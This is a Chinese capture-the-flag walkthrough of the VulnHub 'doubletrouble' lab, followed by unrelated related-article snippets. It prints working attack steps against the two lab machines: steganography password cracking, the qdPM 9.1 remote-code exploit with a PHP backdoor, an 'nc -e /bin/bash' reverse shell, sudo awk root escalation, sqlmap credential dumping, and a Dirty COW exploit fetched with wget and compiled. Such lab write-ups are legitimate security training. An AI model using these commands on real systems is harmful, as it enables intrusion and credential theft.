VulnHub:doubletrouble1

news2024/11/17 12:30:08

靶机下载地址

trouble1

信息收集

主机发现

攻击机ip:192.168.31.218,扫描攻击机同网段存活ip。

nmap 192.168.31.0/24 -Pn -T4

 

确认目标机ip:192.168.31.174

端口扫描

nmap 192.168.31.174 -A -p- -T4

开放了22,80端口。

目录扫描

访问http服务,首页是一个登录页面,通过邮箱密码登录,直接放弃bp爆破。根据页面信息可知使用了qdPM 9.1版本(qdPM是一款基于web的开源项目管理工具)。

目录扫描。

dirsearch -u http://192.168.31.174

扫描出来的路径都看了一遍,没什么发现,在/secret/下发现一张图片。

渗透

目前仅有的一条线索——doubletrouble.jpg,将图片下载到本地,尝试图片隐写。jpg图片隐写,使用steghide分离隐藏信息。

# 将隐藏信息从载体中分离出来
steghide extract -sf doubletrouble.jpg

提示需要密码,但是根本没有密码相关信息。

查了一下,还有个工具stegseek可以爆破密码并提取出隐藏信息。(kali中默认没有安装这个工具,需要自行安装)

# 安装stegseek
apt install stegseek
# 检查是否安装成功
stegseek --help
# 使用字典暴力破解
# --crack [stegofile.jpg] [wordlist.txt] [output.txt]
stegseek --crack doubletrouble.jpg /usr/share/wordlists/rockyou.txt output.txt

隐藏信息如下:

otisrush@localhost.com otis666

很明显是邮箱地址和密码。

qdpm漏洞利用

拿着图片隐写获取的邮箱地址和密码登录http服务,进入qdpm操作页面。

百度搜索得知qdPM 9.1版本存在命令执行漏洞,攻击者可以通过上传恶意的.php文件利用该漏洞在服务器上执行任意命令。偷懒先用searchsploit找一下有没有可利用的exp。

searchsploit qdpm,有两个远程命令执行的exp,这里我用的是50175.py。

将exp复制到工作目录,看下如何使用exp。

searchsploit -m 50175.py
cat 50175.py

使用方法如下:

python3 50175.py -url http://192.168.31.174/ -u otisrush@localhost.com -p otis666

执行后发现报错SyntaxError: unterminated string literal (detected at line 95),意思是在95行发现语法错误:未终止的字符串文本。根据报错提示对代码进行修改,其实也就是把报错的行后面的内容缩进到一行。例如:

修改成:

这个exp脚本有很多类似的错误,一一修改即可。

成功生成一个后门。

访问http://192.168.31.174//uploads/users/?cmd=whoami下的backdoor.php文件。

试一下http://192.168.31.174//uploads/users/410417-backdoor.php?cmd=whoami 

使用nc进行反弹shell。

?cmd=nc -e /bin/bash 攻击机ip port
nc -lvvp port

切换交互式shell:python3 -c 'import pty;pty.spawn("/bin/bash")'

sudo提权

sudo -l提权。awk提权。

sudo awk 'BEGIN {system("/bin/sh")}'

提权到root,没有找到flag,找到了第二个trouble,所以doubletouble是两个镜像文件的意思。

trouble2

靶机搭建

目标机开启简易http服务,让宿主机下载doubletrouble.ova。

python3 -m http.server

下载好后在virtualbox中打开虚拟机,网络配置修改为桥接。

信息收集

主机发现

扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

目标机2的ip是:192.168.31.172

端口扫描

对目标机2进行端口扫描。

nmap 192.168.31.172 -A -p- -T4

目标机2开放了22,80端口。

web信息收集

访问80端口的http服务,首页是一个管理员登录页面。

dirsearch扫描目录没有任何发现。

渗透

sql注入

http服务没有其他页面可以作为突破口,既然只有一个登录框,那就尝试弱口令,sql万能密码,都不行。sqlmap跑一下:sqlmap.py -u http://192.168.31.172/index.php --forms --dbs。发现存在时间盲注,直接爆出数据库名。

# 爆doubletrouble下的表
sqlmap.py -u http://192.168.31.172/index.php -forms -D doubletrouble --tables --batch

doubletrouble数据库存在users表。

# 爆字段名
sqlmap.py -u http://192.168.31.172/index.php -forms -D doubletrouble -T users --columns --batch 

继续爆用户名和密码。

sqlmap.py -u http://192.168.31.172/index.php -forms -D doubletrouble -T users -C password,username --dump --batch

用户1:montreux

密码:GfsZxc1

用户2:clapton

密码:ZubZub99

可是两个用户名和密码都无法登录。开放了22端口,登录ssh服务试试,仅clapton用户登录成功,拿到clapton的shell。

get user.txt

内核提权

内核提权uname -a

内核版本是3.2.78,搜索该版本漏洞searchsploit linux 3.2.78。找到几个可以用的脏牛提权脚本。

这里我使用40839.c这个脚本,看一下脚本如何使用。根据提示,需要先编译脚本,执行进行提权,之后切换到firefart用户即可。

将脚本上传到目标机2。

# 将脚本复制到工作目录
searchsploit -m 40839.c
# 在脚本所在目录开启简易http服务
python3 -m  http.server
# 目标机下载脚本
cd /tmp
wget http://192.168.31.218:8000/40839.c
# 编译
gcc -pthread 40839.c -o 40839 -lcrypt
# 运行
./40839

运行,输入新密码123456。

切换用户su firefart

get root.txt🎆

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1955998.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

小白学大模型:LLaMA-Factory 介绍与使用

最近这一两周看到不少互联网公司都已经开始秋招提前批了。 不同以往的是,当前职场环境已不再是那个双向奔赴时代了。求职者在变多,HC 在变少,岗位要求还更高了。 最近,我们又陆续整理了很多大厂的面试题,帮助一些球友…

Linux:进程信号(二.信号的保存与处理、递达、volatile关键字、SIGCHLD信号)

上次介绍了:(Linux:进程信号(一.认识信号、信号的产生及深层理解、Term与Core))[https://blog.csdn.net/qq_74415153/article/details/140624810] 文章目录 1.信号保存1.1递达、未决、阻塞等概念1.2再次理解信号产生与保存1.3信号…

ES6语法详解,面试必会,通俗易懂版

目录 Set的基本使用WeakSet 使用Set 和 WeakSet 区别内存泄漏示例:使用普通 Set 保存 DOM 节点如何避免这个内存泄漏MapWeakMap 的使用 Set的基本使用 在ES6之前,我们存储数据的结构主要有两种:数组、对象。 在ES6中新增了另外两种数据结构&a…

Pytorch深度学习快速入门(中)

Pytorch深度学习快速入门&#xff08;中&#xff09; 一、Containers&#xff08;神经网络的基本骨架&#xff09;&#xff08;一&#xff09;Module 的使用&#xff08;二&#xff09;Sequential 的使用<搭建小实战> 二、Convolution Layers&#xff08;卷积层&#xff…

加密货币赋能跨境电商:PayPal供应链金融服务如何引领行业新趋势

跨境电商行业近年来呈现出爆发式增长&#xff0c;随着全球化贸易壁垒的降低和数字经济的快速发展&#xff0c;越来越多的商家和消费者跨越国界进行交易。根据eMarketer的数据&#xff0c;全球跨境电商交易额在2023年已超过4万亿美元&#xff0c;并预计在未来几年内仍将保持两位…

Golang | Leetcode Golang题解之第301题删除无效的括号

题目&#xff1a; 题解&#xff1a; func checkValid(str string, lmask, rmask int, left, right []int) bool {cnt : 0pos1, pos2 : 0, 0for i : range str {if pos1 < len(left) && i left[pos1] {if lmask>>pos1&1 0 {cnt}pos1} else if pos2 <…

403 forbidden (13: Permission denied)

403 forbidden (13: Permission denied) 目录 403 forbidden (13: Permission denied) 【常见模块错误】 【解决方案】 欢迎来到我的主页&#xff0c;我是博主英杰&#xff0c;211科班出身&#xff0c;就职于医疗科技公司&#xff0c;热衷分享知识&#xff0c;武汉城市开发者…

手撕Leetcode个人笔记【第二周-数组-链表】

2. 两数相加 中等 给你两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储 一位 数字。 请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。 你可以假设除了数字 0 之外&#xff0c;…

初识HTML文件,创建自己的第一个网页!

本文旨在初步介绍HTML&#xff08;超文本标记语言&#xff09;&#xff0c;帮助读者理解HTML中的相关术语及概念&#xff0c;并使读者在完成本文的阅读后可以快速上手编写一个属于自己的简易网页。 一、HTML介绍 HTML(全称HyperText Markup Language&#xff0c;超文本标记语言…

探索Python的进度条神器:tqdm

文章目录 探索Python的进度条神器&#xff1a;tqdm一、背二、tqdm简介三、安装tqdm四、tqdm的五个简单使用示例五、tqdm在不同场景下的应用六、常见问题及解决方案七、总结 探索Python的进度条神器&#xff1a;tqdm 一、背 景&#xff1a;为什么选择tqdm&#xff1f; 在Python…

扫雷游戏小程序

目录 一.文件 1.头文件 2.源文件 二.游戏界面和执行(test.c) 三.函数实现(void game部分,源文件game.c) 1.定义雷二维数组和展示二维数组 2.初始化地雷数组 3.初始化显示的数组 4.显示当前的情况 5.随机放置地雷 6.排雷 ps:深度优先遍历数组 四.结束 一.文件 1.头…

基于图卷积神经网络(GCN)的高光谱图像分类详细教程(含python代码)

目录 一、背景 二、基于卷积神经网络的代码实现 1、安装依赖库 2、建立图卷积神经网络 3、建立数据的边 4、训练模型 5、可视化 三、项目代码 一、背景 图卷积神经网络&#xff08;Graph Convolutional Networks, GCNs&#xff09;在高光谱图像分类中是一种有效的方法…

Unity + Hybridclr + Addressable + 微信小程序 热更新报错

报错时机&#xff1a; Generate All 怎么All 死活就是报错 生成微信小程序&#xff0c;并启动后 报错内容&#xff1a; MissingMethodException:AoT generic method notinstantiated in aot.assembly:Unity.ResourceManager:dll, 原因&#xff1a; Hybridclr 开发文档 解…

【人工智能】深度剖析:Midjourney与Stable Diffusion的全面对比

文章目录 &#x1f34a;1 如何选择合适的AI绘画工具1.1 个人需求选择1.2 比较工具特点1.3 社区和资源 &#x1f34a;2 Midjourney VS Stable Diffusion&#xff1a;深度对比与剖析 2.1 使用费用对比 2.2 使用便捷性与系统兼容性对比 2.3 开源与闭源对比 2.4 图片质量对比 2.5 上…

MATLAB基础应用精讲-【数模应用】Poisson 回归分析(附R语言代码实现)

目录 前言 知识储备 基于泊松回归、负二项回归模型 数据分布介绍 模型介绍 模型的选择 案例介绍 算法原理 泊松回归 数学模型 适用条件 参数估计与假设检验 SPSSAU Poisson 回归案例 1、背景 2、理论 3、操作 4、SPSSAU输出结果 5、文字分析 6、剖析 疑难解…

【探索Linux】P.42(传输层 —— TCP面向字节流 | TCP粘包问题 | TCP异常情况 )

阅读导航 引言一、TCP面向字节流二、TCP粘包问题1. 粘包原因2. 粘包类型3. 粘包的影响4. 解决粘包的方法5. 对于UDP协议来说, 是否也存在 "粘包问题" 呢? 三、TCP异常情况温馨提示 引言 继上篇深入剖析TCP协议的拥塞控制、延迟应答和捎带应答之后&#xff0c;本文将…

TCP 协议的 time_wait 超时时间

优质博文&#xff1a;IT-BLOG-CN 灵感来源 Time_Wait 产生的时机 TCP四次挥手的流程 如上所知&#xff1a;客户端在收到服务端第三次FIN挥手后&#xff0c;就会进入TIME_WAIT状态&#xff0c;开启时长为2MSL的定时器。 【1】MSL是Maximum Segment Lifetime报文最大生存时间…

【六】集群管理工具

1. 群控命令 查看java程序的运行状态是最常用的指令。首先在ubuntu1输入该find命令&#xff0c;查找jps位置&#xff0c;需要首先完成java jdk的安装和配置。 find / -name jps回显如下&#xff0c;jps的位置确定了。rootubuntu1:/usr/local/bin# find / -name jps /usr/loca…

C语言 | Leetcode C语言题解之第300题最长递增子序列

题目&#xff1a; 题解&#xff1a; int lengthOfLIS(int* nums, int numsSize) {if(numsSize<1)return numsSize;int dp[numsSize],result1;for(int i0;i<numsSize;i){dp[i]1;}for(int i0;i<numsSize;i){printf("%d ",dp[i]);}for(int i1;i<numsSize;i…

科普文:万字详解Kafka基本原理和应用

一、Kafka 简介 1. 消息引擎系统ABC Apache Kafka是一款开源的消息引擎系统&#xff0c;也是一个分布式流处理平台。除此之外&#xff0c;Kafka还能够被用作分布式存储系统&#xff08;极少&#xff09;。 A. 常见的两种消息引擎系统传输协议&#xff08;即用什么方式把消息…